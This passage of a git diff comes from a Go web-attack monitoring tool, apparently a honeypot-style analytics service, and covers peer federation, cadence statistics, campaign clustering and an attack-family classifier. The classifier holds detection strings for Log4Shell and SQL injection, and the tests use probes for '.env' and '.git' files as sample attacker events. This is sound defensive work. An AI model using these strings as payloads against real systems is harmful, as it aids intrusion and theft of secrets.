time.Sleep(20 * time.Millisecond)
}
}
+87
View File
@@ -0,0 +1,87 @@
package fed
import (
"context"
"fmt"
"net/url"
"sync"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
studyTTL = 30 * time.Second
studyMax = 8 // cached studies per peer
)
type studyCached struct {
at time.Time
s store.PeerStudy
}
func studyKey(q store.PeriodQuery) string {
return fmt.Sprintf("%d-%d|%s|%s|%s|%d", q.From, q.To, q.IP, q.Cat, q.Fam, q.Gap)
}
// StudiesFor asks the online peers (or one) for their period and metrics
// study of a window, on demand, cached for 30 s. The answers are sanitized
// and carry the configured peer name.
func (h *Hub) StudiesFor(ctx context.Context, q store.PeriodQuery, only string) map[string]store.PeerStudy {
out := map[string]store.PeerStudy{}
var mu sync.Mutex
var wg sync.WaitGroup
key := studyKey(q)
for _, p := range h.Peers {
if only != "" && only != p.Name {
continue
}
h.mu.RLock()
st := h.state[p.Name]
online := st.online
var hit *store.PeerStudy
if c := st.studies[key]; c != nil && time.Since(c.at) < studyTTL {
s := c.s
hit = &s
}
h.mu.RUnlock()
if !online {
continue
}
if hit != nil {
out[p.Name] = *hit
continue
}
wg.Add(1)
go func(p Peer) {
defer wg.Done()
v := url.Values{}
v.Set("from", fmt.Sprint(q.From))
v.Set("to", fmt.Sprint(q.To))
for k, x := range map[string]string{"ip": q.IP, "cat": q.Cat, "fam": q.Fam} {
if x != "" {
v.Set(k, x)
}
}
if q.Gap > 0 {
v.Set("gap", fmt.Sprint(q.Gap))
}
var s store.PeerStudy
if _, err := h.get(ctx, p, "/api/v1/peer/period?"+v.Encode(), &s); err != nil || !s.Sanitize(p.Name) {
return
}
h.mu.Lock()
st := h.state[p.Name]
if st.studies == nil || len(st.studies) >= studyMax {
st.studies = map[string]*studyCached{}
}
st.studies[key] = &studyCached{time.Now(), s}
h.mu.Unlock()
mu.Lock()
out[p.Name] = s
mu.Unlock()
}(p)
}
wg.Wait()
return out
}
+115
View File
@@ -0,0 +1,115 @@
package fed_test
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func TestHubOnDemandRangesRatesAndOldPeers(t *testing.T) {
peerTok := "peer-secret-0123456789-abcdefghijklmnopqr"
ps := store.New(store.Config{Name: "remote", Version: "t", Retention: 720 * time.Hour})
for i := 0; i < 4; i++ {
ps.Ingest(core.Event{Time: time.Now().Add(-time.Duration(i) * time.Minute), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"})
}
ps.Ingest(core.Event{Time: time.Now().Add(-10 * 24 * time.Hour), IP: "6.6.6.6", Cat: core.Scanner, Source: "traefik", Path: "/y", Method: "GET"})
ps.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200})
var calls []string
inner := server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{peerTok}, Version: "t", Store: ps})
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
calls = append(calls, r.URL.RawQuery)
inner.ServeHTTP(w, r)
}))
defer srv.Close()
p, _ := fed.ParsePeer("hostinger=" + srv.URL)
hub := fed.NewHub([]fed.Peer{p}, peerTok)
hub.Refresh(context.Background())
if len(calls) != len(store.BackgroundRanges) {
t.Fatalf("background fetches: %v", calls)
}
// a window outside the background set is fetched on demand, then cached
rg := store.Ranges["15d"]
n := len(calls)
sums := hub.SummariesFor(context.Background(), rg, "")
if len(sums) != 1 || sums[0].Range.Name != "15d" || sums[0].Totals.Counts["scanner"] != 1 || sums[0].Rates.Last1h != 4 {
t.Fatalf("15d %+v", sums)
}
hub.SummariesFor(context.Background(), rg, "")
if len(calls) != n+1 {
t.Fatalf("on-demand windows must be cached: %v", calls[n:])
}
// a custom window goes as from/to
now := time.Now().Unix()
local := store.New(store.Config{Name: "hub", Retention: 720 * time.Hour})
cr, err := local.ResolveRange("", fmt.Sprint(now-3*3600), "")
if err != nil {
t.Fatal(err)
}
cs := hub.SummariesFor(context.Background(), cr, "")
if len(cs) != 1 || cs[0].Totals.Counts["exploit"] != 4 || !strings.Contains(calls[len(calls)-1], "from=") {
t.Fatalf("custom %+v calls %v", cs, calls[len(calls)-1])
}
if tr := hub.TrafficFor(context.Background(), cr, "all", ""); len(tr) != 1 || tr[0].Requests != 1 {
t.Fatalf("traffic %+v", tr)
}
if got := hub.IPDetail("6.6.6.6"); len(got) != 1 {
t.Fatal("the 30 day export must carry the 10 day old address")
}
m := store.Merge("all", []store.Summary{local.Summary("24h"), sums[0]})
if m.Rates.Last1h != 4 {
t.Fatalf("merged rates %+v", m.Rates)
}
}
func TestOldPeerStringRangeStillParses(t *testing.T) {
var s store.Summary
if err := json.Unmarshal([]byte(`{"range":"24h","host":"x"}`), &s); err != nil || s.Range.Name != "24h" {
t.Fatalf("legacy range: %v %+v", err, s.Range)
}
if err := json.Unmarshal([]byte(`{"range":{"name":"7d","from":1,"to":2,"clipped":true}}`), &s); err != nil || !s.Range.Clipped {
t.Fatal(err)
}
}
func TestPeerEventsAreRegisteredWithHostAndLocalID(t *testing.T) {
var conns atomic.Int32
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
fmt.Fprint(w, ev(`{"id":999999,"ip":"6.6.6.6","cat":"exploit","host":"evil","ua":"sqlmap","fam":"vcs","tech":["T1190"],"flags":"SZ!"}`))
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
local := store.New(store.Config{Name: "hub"})
l, _ := evlog.Open(evlog.Options{Dir: t.TempDir() + "/events"})
local.SetEventLog(l)
h.OnLive = local.RecordPeerEvent
ch, stop := h.Subscribe()
defer stop()
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
select {
case e := <-ch:
if e.Host != "edge" || e.ID == 0 || e.ID == 999999 || e.Flags != "S" {
t.Fatalf("relayed %+v", e)
}
case <-time.After(5 * time.Second):
t.Fatal("no event")
}
pg, _ := local.QueryEvents(store.EventsQuery{From: time.Now().Unix() - 3600, To: time.Now().Unix() + 10, Host: "edge"})
if len(pg.Events) != 1 || !strings.Contains(string(pg.Events[0]), `"host":"edge"`) {
t.Fatalf("registry %v", pg.Events)
}
}
+120
View File
@@ -0,0 +1,120 @@
package fed_test
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func logged(t *testing.T, name string) *store.Store {
s := store.New(store.Config{Name: name, Version: "t", Retention: 720 * time.Hour})
l, err := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
if err != nil {
t.Fatal(err)
}
s.SetEventLog(l)
return s
}
func TestHubMergesPeriodAndMetrics(t *testing.T) {
const userTok, peerTok = "main-token-0123456789-abcdefghijklmnopqrs", "peer-secret-0123456789-abcdefghijklmnopqr"
peer := logged(t, "hostinger")
hubSt := logged(t, "oracle")
now := time.Now()
for i := 0; i < 4; i++ {
peer.Ingest(core.Event{Time: now.Add(-time.Duration(i) * time.Minute), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, Domain: "p.example"})
}
hubSt.Ingest(core.Event{Time: now.Add(-time.Hour), IP: "6.6.6.6", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/wp-login.php", Status: 404, Domain: "h.example"})
// a copy of the peer's event relayed live to the hub must not be counted twice
le := store.LiveEvent{FeedEvent: store.FeedEvent{T: now.Unix() - 30, IP: "5.5.5.5", Cat: "exploit", Source: "traefik", Host: "hostinger"}}
hubSt.RecordPeerEvent(&le)
var peerCalls []string
pinner := server.New(server.Options{Token: "other-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{peerTok}, Version: "t", Store: peer})
psrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
peerCalls = append(peerCalls, r.URL.Path)
pinner.ServeHTTP(w, r)
}))
defer psrv.Close()
p, _ := fed.ParsePeer("hostinger=" + psrv.URL)
hub := fed.NewHub([]fed.Peer{p}, peerTok)
hub.Refresh(context.Background())
h := server.New(server.Options{Token: userTok, Version: "t", Store: hubSt, Hub: hub})
get := func(path string) map[string]any {
r := httptest.NewRequest("GET", path, nil)
r.Header.Set("Authorization", "Bearer "+userTok)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
if w.Code != 200 {
t.Fatalf("%s: %d %s", path, w.Code, w.Body)
}
var m map[string]any
json.Unmarshal(w.Body.Bytes(), &m)
return m
}
pd := get("/api/v1/period?range=24h")
if pd["sessions_n"].(float64) != 2 || pd["events"].(float64) != 5 {
t.Fatalf("merged period: sessions %v events %v (relayed copies must not double count)", pd["sessions_n"], pd["events"])
}
hosts := map[string]bool{}
for _, s := range pd["sessions"].([]any) {
hosts[s.(map[string]any)["hosts"].([]any)[0].(string)] = true
}
if !hosts["oracle"] || !hosts["hostinger"] {
t.Fatalf("sessions must carry their host: %v", hosts)
}
if only := get("/api/v1/period?range=24h&host=hostinger"); only["sessions_n"].(float64) != 1 {
t.Fatalf("one peer: %v", only["sessions_n"])
}
if loc := get("/api/v1/period?range=24h&host=oracle"); loc["sessions_n"].(float64) != 1 {
t.Fatalf("local only: %v", loc["sessions_n"])
}
mt := get("/api/v1/metrics?range=24h")
if v := mt["attacks_per_hour_24h"].(map[string]any)["value"].(float64); v < 0.2 || v > 0.3 { // 5 events / 24 h, rounded to 0.1
t.Fatalf("merged attacks per hour: %v", v)
}
n := len(peerCalls)
get("/api/v1/period?range=24h")
for _, c := range peerCalls[n:] {
if c == "/api/v1/peer/period" {
t.Fatal("studies are cached for 30 s")
}
}
// the peer route: only the peer token, never the user token
for tok, want := range map[string]int{peerTok: 200, "other-token-0123456789-abcdefghijklmnopqrs": 401, "bad": 401} {
r := httptest.NewRequest("GET", "/api/v1/peer/period?from=1&to=2", nil)
r.Header.Set("Authorization", "Bearer "+tok)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
pinner.ServeHTTP(w, r)
if tok == peerTok {
r = httptest.NewRequest("GET", "/api/v1/peer/period?from="+itoa(now.Unix()-3600)+"&to="+itoa(now.Unix()), nil)
r.Header.Set("Authorization", "Bearer "+tok)
r.RemoteAddr = "198.51.100.1:1"
w = httptest.NewRecorder()
pinner.ServeHTTP(w, r)
}
if w.Code != want {
t.Errorf("peer route with %q: %d, want %d", tok[:3], w.Code, want)
}
}
// a hub that is offline for the peer still answers (local + relayed)
psrv.Close()
hub.Refresh(context.Background())
if pd := get("/api/v1/period?range=24h"); pd["sessions_n"].(float64) < 1 {
t.Fatal("must answer without the peer")
}
}
func itoa(n int64) string { b, _ := json.Marshal(n); return string(b) }
+177
View File
@@ -0,0 +1,177 @@
package intel
import (
"math"
"sort"
"time"
)
// Cadence summarises the rhythm of a source's requests.
type Cadence struct {
N int `json:"n"`
MedianS float64 `json:"median_s"`
P10S float64 `json:"p10_s"`
P90S float64 `json:"p90_s"`
CV float64 `json:"cv"`
BurstMax60 int `json:"burst_max_60"`
Verdict string `json:"verdict"`
}
// Cadence verdicts.
const (
VerdictAutomated = "automated"
VerdictHuman = "human-like"
VerdictMixed = "mixed"
VerdictInsufficient = "insufficient"
)
func verdict(n int, median, cv float64) string {
switch {
case n < 3:
return VerdictInsufficient
case median < 2 || (cv < 0.3 && n >= 10):
return VerdictAutomated
case median > 5 && cv > 1:
return VerdictHuman
}
return VerdictMixed
}
const (
cadBuckets = 16
burstCap = 4096
)
// CadenceAcc accumulates request times online in constant memory: Welford
// for mean/variance of the inter-arrival times, a 16 bucket log2 histogram
// for approximate percentiles and a bounded window for the 60 s burst peak.
// Bucket 0 holds gaps under 1 s; bucket b>=1 holds [2^(b-1), 2^b) seconds.
type CadenceAcc struct {
n int
last time.Time
cnt int // number of intervals
mean float64
m2 float64
hist [cadBuckets]int
win []time.Time
burst int
}
func bucketOf(d float64) int {
if d < 1 {
return 0
}
b := 1 + int(math.Floor(math.Log2(d)))
if b >= cadBuckets {
b = cadBuckets - 1
}
return b
}
// Add records one request at t.
func (a *CadenceAcc) Add(t time.Time) {
if a.n > 0 {
d := math.Abs(t.Sub(a.last).Seconds())
a.cnt++
delta := d - a.mean
a.mean += delta / float64(a.cnt)
a.m2 += delta * (d - a.mean)
a.hist[bucketOf(d)]++
}
if a.n == 0 || t.After(a.last) {
a.last = t
}
a.n++
cut := t.Add(-60 * time.Second)
i := 0
for i < len(a.win) && !a.win[i].After(cut) {
i++
}
a.win = append(a.win[i:], t)
if len(a.win) > burstCap {
a.win = a.win[len(a.win)-burstCap:]
}
if len(a.win) > a.burst {
a.burst = len(a.win)
}
}
func (a *CadenceAcc) pct(p float64) float64 {
if a.cnt == 0 {
return 0
}
target := p * float64(a.cnt)
cum := 0.0
for b := 0; b < cadBuckets; b++ {
c := float64(a.hist[b])
if c > 0 && cum+c >= target {
lo, hi := 0.0, 1.0
if b > 0 {
lo = math.Exp2(float64(b - 1))
hi = math.Exp2(float64(b))
}
return lo + (hi-lo)*(target-cum)/c
}
cum += c
}
return math.Exp2(cadBuckets - 1)
}
// Result returns the current cadence summary.
func (a *CadenceAcc) Result() Cadence {
c := Cadence{N: a.n, BurstMax60: a.burst}
if a.cnt > 0 {
c.MedianS, c.P10S, c.P90S = a.pct(.5), a.pct(.1), a.pct(.9)
if a.mean > 0 {
c.CV = math.Sqrt(a.m2/float64(a.cnt)) / a.mean
}
}
c.Verdict = verdict(c.N, c.MedianS, c.CV)
return c
}
func quantile(sorted []float64, p float64) float64 {
if len(sorted) == 0 {
return 0
}
pos := p * float64(len(sorted)-1)
lo := int(math.Floor(pos))
hi := int(math.Ceil(pos))
return sorted[lo] + (sorted[hi]-sorted[lo])*(pos-float64(lo))
}
// CadenceFrom computes the exact cadence of a set of request times (any order).
func CadenceFrom(ts []time.Time) Cadence {
v := append([]time.Time(nil), ts...)
sort.Slice(v, func(i, j int) bool { return v[i].Before(v[j]) })
c := Cadence{N: len(v)}
if len(v) > 1 {
d := make([]float64, len(v)-1)
var sum float64
for i := 1; i < len(v); i++ {
d[i-1] = v[i].Sub(v[i-1]).Seconds()
sum += d[i-1]
}
mean := sum / float64(len(d))
var ss float64
for _, x := range d {
ss += (x - mean) * (x - mean)
}
if mean > 0 {
c.CV = math.Sqrt(ss/float64(len(d))) / mean
}
sort.Float64s(d)
c.MedianS, c.P10S, c.P90S = quantile(d, .5), quantile(d, .1), quantile(d, .9)
}
j := 0
for i := range v {
for v[i].Sub(v[j]) >= 60*time.Second {
j++
}
if i-j+1 > c.BurstMax60 {
c.BurstMax60 = i - j + 1
}
}
c.Verdict = verdict(c.N, c.MedianS, c.CV)
return c
}
+356
View File
@@ -0,0 +1,356 @@
package intel
import (
"context"
"crypto/sha256"
"encoding/hex"
"regexp"
"sort"
"strconv"
"strings"
"time"
)
// Signature fingerprints what a session asked for. Paths holds the five most
// frequent normalised paths (sorted); Tool is the tool label or User-Agent.
// ASN, CC and NetType are optional metadata of the session's IP, used only to
// summarise campaigns.
type Signature struct {
Paths []string `json:"paths"`
Tool string `json:"tool"`
ASN uint32 `json:"asn,omitempty"`
CC string `json:"cc,omitempty"`
NetType string `json:"net_type,omitempty"`
}
// Campaign is a set of sessions from several IPs doing the same thing.
type Campaign struct {
ID string `json:"id"`
SignatureID string `json:"signature_id"`
First time.Time `json:"first"`
Last time.Time `json:"last"`
IPsN int `json:"ips_n"`
IPs []string `json:"ips"`
ASNs []uint32 `json:"asns"`
CCs []string `json:"ccs"`
NetTypes map[string]int `json:"net_types"`
Signature Signature `json:"signature"`
Techs []string `json:"techs"`
SessionsN int `json:"sessions_n"`
}
// Campaign thresholds.
const (
MinCampaignIPs = 3
MinJaccard = 0.6
DefaultCampaign = 6 * time.Hour
maxCampaignIPs = 50
maxNormLen = 512
maxSigSessions = 50000
)
var (
uuidRe = regexp.MustCompile(`[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}`)
hexRe = regexp.MustCompile(`[0-9a-f]{8,}`)
digRe = regexp.MustCompile(`[0-9]+`)
)
// NormPath normalises a path for signatures: query dropped, lowercase, uuids
// and long hex runs become {id}, digit runs become {n}.
func NormPath(p string) string {
if i := strings.IndexAny(p, "?#"); i >= 0 {
p = p[:i]
}
if len(p) > maxNormLen {
p = p[:maxNormLen]
}
p = strings.ToLower(p)
p = uuidRe.ReplaceAllString(p, "{id}")
p = hexRe.ReplaceAllString(p, "{id}")
return digRe.ReplaceAllString(p, "{n}")
}
// SignatureFrom builds the signature of a set of raw paths and a tool label.
func SignatureFrom(paths []string, tool string) Signature {
cnt := map[string]int{}
for _, p := range paths {
if p == "" {
continue
}
cnt[NormPath(p)]++
}
type kv struct {
k string
n int
}
list := make([]kv, 0, len(cnt))
for k, n := range cnt {
list = append(list, kv{k, n})
}
sort.Slice(list, func(i, j int) bool {
if list[i].n != list[j].n {
return list[i].n > list[j].n
}
return list[i].k < list[j].k
})
if len(list) > 5 {
list = list[:5]
}
sig := Signature{Tool: strings.ToLower(strings.TrimSpace(tool)), Paths: make([]string, 0, len(list))}
for _, e := range list {
sig.Paths = append(sig.Paths, e.k)
}
sort.Strings(sig.Paths)
return sig
}
// Key is the canonical text of the signature (paths and tool only).
func (s Signature) Key() string { return strings.Join(s.Paths, "\n") + "\x00" + s.Tool }
// SignatureID is "c-" plus 8 hex chars of the sha256 of the signature key. It
// is shared by every recurrence of the same signature.
func (s Signature) SignatureID() string {
h := sha256.Sum256([]byte(s.Key()))
return "c-" + hex.EncodeToString(h[:4])
}
// ID is an alias of SignatureID kept for callers that group recurring
// campaigns; Campaign.ID itself is unique per campaign.
func (s Signature) ID() string { return s.SignatureID() }
func campaignID(sig Signature, first time.Time, window time.Duration, n int) string {
k := sig.Key() + "\x00" + strconv.FormatInt(first.Truncate(window).Unix(), 10)
if n > 0 {
k += "\x00" + strconv.Itoa(n)
}
h := sha256.Sum256([]byte(k))
return "c-" + hex.EncodeToString(h[:4])
}
// Jaccard is |a∩b| / |a∪b| over two string sets (0 when both are empty).
// Lists of up to 8 items (every signature) are compared without allocating.
func Jaccard(a, b []string) float64 {
if len(a) == 0 && len(b) == 0 {
return 0
}
if len(a) > 8 || len(b) > 8 {
return jaccardMap(a, b)
}
ua, ub, inter := 0, 0, 0
for i, x := range a {
if indexOf(a[:i], x) < 0 {
ua++
if indexOf(b, x) >= 0 {
inter++
}
}
}
for i, y := range b {
if indexOf(b[:i], y) < 0 {
ub++
}
}
return float64(inter) / float64(ua+ub-inter)
}
func indexOf(l []string, x string) int {
for i, y := range l {
if y == x {
return i
}
}
return -1
}
func jaccardMap(a, b []string) float64 {
set := make(map[string]bool, len(a))
for _, x := range a {
set[x] = true
}
union := len(set)
inter := 0
seen := map[string]bool{}
for _, x := range b {
if seen[x] {
continue
}
seen[x] = true
if set[x] {
inter++
} else {
union++
}
}
return float64(inter) / float64(union)
}
type cluster struct {
sig Signature
idx []int
first time.Time
last time.Time
stamp int
}
func pruneBucket(b []*cluster, now time.Time, window time.Duration) []*cluster {
w := 0
for _, c := range b {
if now.Sub(c.last) <= window {
b[w] = c
w++
}
}
clear(b[w:])
return b[:w]
}
// maxCandidates bounds how many clusters one session is compared against.
const maxCandidates = 512
// Campaigns groups sessions of different IPs that share a tool and similar
// paths (Jaccard >= 0.6) and start within window of one another (default 6 h).
// sigs is keyed by Session.ID. Only groups with at least 3 distinct IPs are
// returned, ordered by first time. The CampaignID of the member sessions in
// the sessions slice is set in place.
func Campaigns(sessions []Session, sigs map[string]Signature, window time.Duration) []Campaign {
return CampaignsCtx(context.Background(), sessions, sigs, window)
}
// CampaignsCtx is Campaigns with a cancellable context: when ctx is done the
// clustering stops and the campaigns found so far are returned.
//
// Clusters are indexed by tool and path (a match needs at least 60% of the
// session's paths, so only the rarest few path buckets are scanned) and
// expire once older than the window, so the cost stays near linear.
func CampaignsCtx(ctx context.Context, sessions []Session, sigs map[string]Signature, window time.Duration) []Campaign {
if window <= 0 {
window = DefaultCampaign
}
order := make([]int, 0, len(sessions))
for i, s := range sessions {
if sg, ok := sigs[s.ID]; ok && len(sg.Paths) > 0 {
order = append(order, i)
}
}
if len(order) > maxSigSessions {
order = order[:maxSigSessions]
}
sort.SliceStable(order, func(a, b int) bool {
sa, sb := sessions[order[a]], sessions[order[b]]
if !sa.Start.Equal(sb.Start) {
return sa.Start.Before(sb.Start)
}
return sa.ID < sb.ID
})
var cl []*cluster
buckets := map[string][]*cluster{}
stamp := 0
for n, i := range order {
if n&255 == 0 && ctx.Err() != nil {
break
}
s, sg := sessions[i], sigs[sessions[i].ID]
stamp++
keys := make([]string, 0, len(sg.Paths))
for j, p := range sg.Paths {
if indexOf(sg.Paths[:j], p) < 0 {
keys = append(keys, sg.Tool+"\x00"+p)
}
}
sort.Slice(keys, func(x, y int) bool { return len(buckets[keys[x]]) < len(buckets[keys[y]]) })
need := (3*len(keys) + 4) / 5
scan := len(keys) - need + 1
var best *cluster
bestJ := 0.0
checked := 0
scanLoop:
for _, k := range keys[:scan] {
buckets[k] = pruneBucket(buckets[k], s.Start, window)
for _, c := range buckets[k] {
if c.stamp == stamp {
continue
}
c.stamp = stamp
if checked++; checked > maxCandidates {
break scanLoop
}
if j := Jaccard(sg.Paths, c.sig.Paths); j >= MinJaccard && j > bestJ {
best, bestJ = c, j
}
}
}
if best == nil {
c := &cluster{sig: sg, idx: []int{i}, first: s.Start, last: s.End}
cl = append(cl, c)
for _, k := range keys {
b := buckets[k]
if n := len(b); n >= 64 && n&(n-1) == 0 { // amortised cleanup
b = pruneBucket(b, s.Start, window)
}
buckets[k] = append(b, c)
}
continue
}
best.idx = append(best.idx, i)
if s.End.After(best.last) {
best.last = s.End
}
}
var out []Campaign
usedIDs := map[string]bool{}
for _, c := range cl {
ips := map[string]bool{}
for _, i := range c.idx {
ips[sessions[i].IP] = true
}
if len(ips) < MinCampaignIPs {
continue
}
id := campaignID(c.sig, c.first, window, 0)
for n := 1; usedIDs[id]; n++ {
id = campaignID(c.sig, c.first, window, n)
}
usedIDs[id] = true
camp := Campaign{
ID: id, SignatureID: c.sig.SignatureID(), First: c.first, Last: c.last, IPsN: len(ips),
IPs: sortedKeys(ips, maxCampaignIPs), NetTypes: map[string]int{},
Signature: Signature{Paths: c.sig.Paths, Tool: c.sig.Tool}, SessionsN: len(c.idx),
}
asns, ccs, techs := map[uint32]bool{}, map[string]bool{}, map[string]bool{}
seenIP := map[string]bool{}
for _, i := range c.idx {
s, sg := &sessions[i], sigs[sessions[i].ID]
s.CampaignID = camp.ID
for _, t := range s.Techs {
techs[t] = true
}
if seenIP[s.IP] {
continue
}
seenIP[s.IP] = true
if sg.ASN != 0 {
asns[sg.ASN] = true
}
if sg.CC != "" {
ccs[sg.CC] = true
}
if sg.NetType != "" {
camp.NetTypes[sg.NetType]++
}
}
for a := range asns {
camp.ASNs = append(camp.ASNs, a)
}
sort.Slice(camp.ASNs, func(i, j int) bool { return camp.ASNs[i] < camp.ASNs[j] })
camp.CCs = sortedKeys(ccs, 0)
camp.Techs = sortedKeys(techs, 0)
out = append(out, camp)
}
sort.Slice(out, func(i, j int) bool {
if !out[i].First.Equal(out[j].First) {
return out[i].First.Before(out[j].First)
}
return out[i].ID < out[j].ID
})
return out
}
+137
View File
@@ -0,0 +1,137 @@
package intel
import (
"context"
"fmt"
"net/netip"
"strings"
"testing"
"time"
)
// letters encodes i with letters g-z only (digits and hex runs are normalised away).
func letters(i int) string {
s := "x"
for ; i > 0; i /= 20 {
s += string(rune('g' + i%20))
}
return s
}
func synthSessions(n int, mode string) ([]Session, map[string]Signature) {
ss := make([]Session, n)
sigs := make(map[string]Signature, n)
for i := 0; i < n; i++ {
id := fmt.Sprintf("s%d", i)
ss[i] = Session{ID: id, IP: fmt.Sprintf("2001:db8:%x::%x", i%65536, i), Start: at(i), End: at(i)}
var paths []string
switch mode {
case "distinct": // every session unique, all share "/"
paths = []string{"/", "/a" + letters(i), "/b" + letters(i), "/c" + letters(i), "/d" + letters(i)}
case "pool": // random-ish 5-subsets of a 40-path pool
for k := 0; k < 5; k++ {
paths = append(paths, "/p"+letters((i*7+k*k*13+k*i)%40))
}
default: // same signature
paths = []string{"/.env", "/admin", "/wp-login.php", "/.git/config", "/x"}
}
sigs[id] = SignatureFrom(paths, "nuclei")
}
return ss, sigs
}
func TestCampaignsScale(t *testing.T) {
for _, mode := range []string{"same", "distinct", "pool"} {
ss, sigs := synthSessions(50000, mode)
start := time.Now()
cs := Campaigns(ss, sigs, 0)
el := time.Since(start)
t.Logf("%s: 50000 sessions -> %d campaigns in %v", mode, len(cs), el)
if el > 8*time.Second {
t.Errorf("%s too slow: %v", mode, el)
}
if mode == "distinct" && len(cs) != 0 {
t.Errorf("distinct sessions must not cluster: %d", len(cs))
}
if mode == "same" && len(cs) == 0 {
t.Error("same signature must form campaigns")
}
}
}
func TestCampaignsCtxPartial(t *testing.T) {
ss, sigs := synthSessions(5000, "same")
ctx, cancel := context.WithCancel(context.Background())
cancel()
if cs := CampaignsCtx(ctx, ss, sigs, 0); len(cs) != 0 {
t.Errorf("cancelled before start should give nothing, got %d", len(cs))
}
ctx2, cancel2 := context.WithTimeout(context.Background(), time.Nanosecond)
defer cancel2()
time.Sleep(time.Millisecond)
CampaignsCtx(ctx2, ss, sigs, 0) // must return, partial
}
func TestJaccardNoAlloc(t *testing.T) {
a := []string{"/a", "/b", "/c", "/d", "/e"}
b := []string{"/a", "/b", "/c", "/d", "/f"}
if n := testing.AllocsPerRun(100, func() { Jaccard(a, b) }); n != 0 {
t.Errorf("allocs: %v", n)
}
if j := Jaccard(a, b); j < 0.666 || j > 0.667 {
t.Errorf("%v", j)
}
if Jaccard([]string{"a", "a"}, []string{"a"}) != 1 {
t.Error("duplicates")
}
big := strings.Split("a b c d e f g h i j", " ")
if Jaccard(big, big[:5]) != 0.5 {
t.Error("map path")
}
}
func TestSTIXPrefix(t *testing.T) {
now := time.Date(2026, 11, 14, 0, 0, 0, 0, time.UTC)
for _, in := range []string{"2001:db8::/64", "2001:db8::1234/64"} {
b, err := STIXBundle(in, at(0), at(10), 3, []string{"sqli"}, nil, "", now)
if err != nil || ValidateSTIX(b) != nil {
t.Fatalf("%s: %v", in, err)
}
if !strings.Contains(string(b), "[ipv6-addr:value = '2001:db8::/64']") {
t.Errorf("%s: %s", in, b)
}
}
p4, err := STIXBundlePrefix(netip.MustParsePrefix("203.0.113.77/24"), at(0), at(1), 1, nil, nil, "", now)
if err != nil || !strings.Contains(string(p4), "[ipv4-addr:value = '203.0.113.0/24']") {
t.Errorf("%v %s", err, p4)
}
one, _ := STIXBundlePrefix(netip.MustParsePrefix("1.2.3.4/32"), at(0), at(1), 1, nil, nil, "", now)
if !strings.Contains(string(one), "[ipv4-addr:value = '1.2.3.4']") {
t.Error("/32 is an address")
}
if _, err := STIXBundlePrefix(netip.Prefix{}, at(0), at(1), 1, nil, nil, "", now); err == nil {
t.Error("invalid prefix")
}
for _, bad := range []string{"1.2.3.4/99", "x/24", "/", "1.2.3.4/"} {
if _, err := STIXBundle(bad, at(0), at(1), 1, nil, nil, "", now); err == nil {
t.Errorf("accepted %q", bad)
}
}
}
func BenchmarkCampaigns50k(b *testing.B) {
ss, sigs := synthSessions(50000, "same")
b.ResetTimer()
for i := 0; i < b.N; i++ {
Campaigns(ss, sigs, 0)
}
}
func BenchmarkJaccard(b *testing.B) {
x := []string{"/a", "/b", "/c", "/d", "/e"}
y := []string{"/a", "/b", "/c", "/d", "/f"}
b.ReportAllocs()
for i := 0; i < b.N; i++ {
Jaccard(x, y)
}
}
+259
View File
@@ -0,0 +1,259 @@
// Package intel holds pure, deterministic intelligence helpers for Urutau:
// attack families, MITRE ATT&CK mapping, network typing, cadence, sessions,
// campaigns, verdicts, STIX export and metrics. Nothing here performs I/O.
package intel
import (
"net/url"
"regexp"
"strings"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// Attack family identifiers.
const (
FamTraversal = "traversal"
FamLog4Shell = "log4shell"
FamSQLi = "sqli"
FamXSS = "xss"
FamRCE = "rce-injection"
FamWebshell = "webshell"
FamEnvCreds = "env-credentials"
FamVCS = "vcs"
FamBackup = "backup"
FamWordPress = "wordpress"
FamPhpMyAdmin = "phpmyadmin-db"
FamActuator = "actuator-debug"
FamIoTCGI = "iot-cgi"
FamAdminPanel = "admin-panel"
FamGeneric404 = "generic-404"
maxPathScan = 8192
maxPathScanTop = maxPathScan / 2
)
var backupExts = []string{".sql", ".bak", ".old", ".orig", ".swp", ".zip", ".tar.gz", ".tgz", ".7z", ".rar", ".tar", ".gz"}
// Plain substring rules, in priority order. Families that need special
// handling (traversal raw check, webshell, vcs, backup) are in matchFamily.
var (
logRules = []string{"${jndi:"}
sqliRules = []string{"union select", "' or ", "sleep(", "benchmark(", "information_schema"}
